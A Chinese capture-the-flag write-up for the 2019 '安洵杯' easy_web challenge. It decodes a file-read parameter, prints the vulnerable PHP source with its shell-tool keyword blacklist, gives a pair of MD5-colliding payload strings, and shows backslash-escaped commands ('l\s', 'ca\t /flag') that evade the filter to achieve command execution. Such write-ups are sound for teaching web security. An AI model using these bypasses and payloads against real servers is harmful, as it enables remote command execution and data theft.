[安洵杯 2019]easy_web
查看源码似乎有编码,以==结尾,试试base64解码,并不对。哦仔细看了一眼这好像就是那张图片的base64编码,用的是data协议。
末尾还有提示md5 is funny。
从链接/index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=可以看到有两个参数。尝试传一下cmd。发现有回显。尝试1*2,回显1*2 forbid ~,感觉是存在注入的...
如何将两个线索联系起来呢?看答案...通透了。
突破点在img传参的TXpVek5UTTFNbVUzTURabE5qYz0,进行两次base64解码得到3535352e706e67,然后再十六进制解码得到555.png,发现是图片文件,说明后端:
通过img参数解码得到文件名 → 获得文件内容(二进制形式)→ 对内容进行 Base64 编码 → 拼接成 Data URI 格式 → 传递给前端,前端直接使用该URI作为资源地址引用。
那我们尝试读取index.php源码,也进行相同编码传给img。
从页面源码中得到了base64编码的Index.php。妙
<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {echo '<img src ="./ctf3.jpeg">';die("xixiï½ no flag");
} else {$txt = base64_encode(file_get_contents($file));echo "<img src='data:image/gif;base64," . $txt . "'></img>";echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {echo("forbid ~");echo "<br>";
} else {if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {echo `$cmd`;} else {echo ("md5 is funny ~");}
}?>
<html>
<style>body{background:url(./bj.png) no-repeat center center;background-size:cover;background-attachment:fixed;background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>
首先是一个md5绕过,使用数组。尝试了一下失败了。原因在于这里使用了string将数组强制转换成字符串类型。
看了答案,存在不相等字符串的md5值相等。
(可以用小工具fastscoll生成【小工具发现系列-2】fastcoll_v1.0.0.5.exe md5碰撞-CSDN博客)
abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FAMu%DE%8F%8FY%1Fbw%0C%C7%28%9D%5C%1DEA%D4%02I%A7%D9+3.%7F%EDTL%92%D0k%EB%E1%E4%CCD%5C%86%EBEU%12%F4%AD%7D%28%EC%C6%EAuU%0BMp%9A%05%ECo%2A%A5%7F%241%F8%1F%E2XfB%16%ADd%BD%3ANg%3E%E7GS%BAJd%E0%A2%F8%0D%C5+%80%AB_%88%D7%CB%B5d4%9F%04%8D%5C9%0A%CAr%A8%1B%16%D9Y%F9%DA%0A%FC8f%B3%8A%B3o%DF%FD%9B%E3%CA
abc%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%FAMu%DE%8F%8FY%1Fbw%0C%C7%28%9D%5C%1DEA%D4%82I%A7%D9+3.%7F%EDTL%92%D0k%EB%E1%E4%CCD%5C%86%EBEU%12%F4-%7E%28%EC%C6%EAuU%0BMp%9A%05%EC%EF%2A%A5%7F%241%F8%1F%E2XfB%16%ADd%BD%3ANg%3E%E7GS%BA%CAd%E0%A2%F8%0D%C5+%80%AB_%88%D7%CB%B5d4%9F%04%8D%5C9%0A%CAr%A8%9B%15%D9Y%F9%DA%0A%FC8f%B3%8A%B3o_%FD%9B%E3%CA
这里进行了url编码是因为存在不可见字符。
另外还看到一个知识----哈希长度拓展攻击
- 在
$hash = md5($secret.$key)
中已知$hash
和$key
以及$secret
的长度时- 可以找到另一个
$_hash
和$_key
使得$_hash = md5($secrect.$_key)
成立
最后通过命令执行获得flag,但是这里过滤了好多的字符,但是一些关键字的过滤我们可以使用"\",因为这里过滤用的是pre_match(....)。而且在执行系统命令时"\"会被当作转义字符。
还好这里空格没有被禁用。于是:
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=l\s%20/
a=...&b=...
看到有flag。
POST /index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=ca\t%20/flag
a=...&b=...
就拿到啦!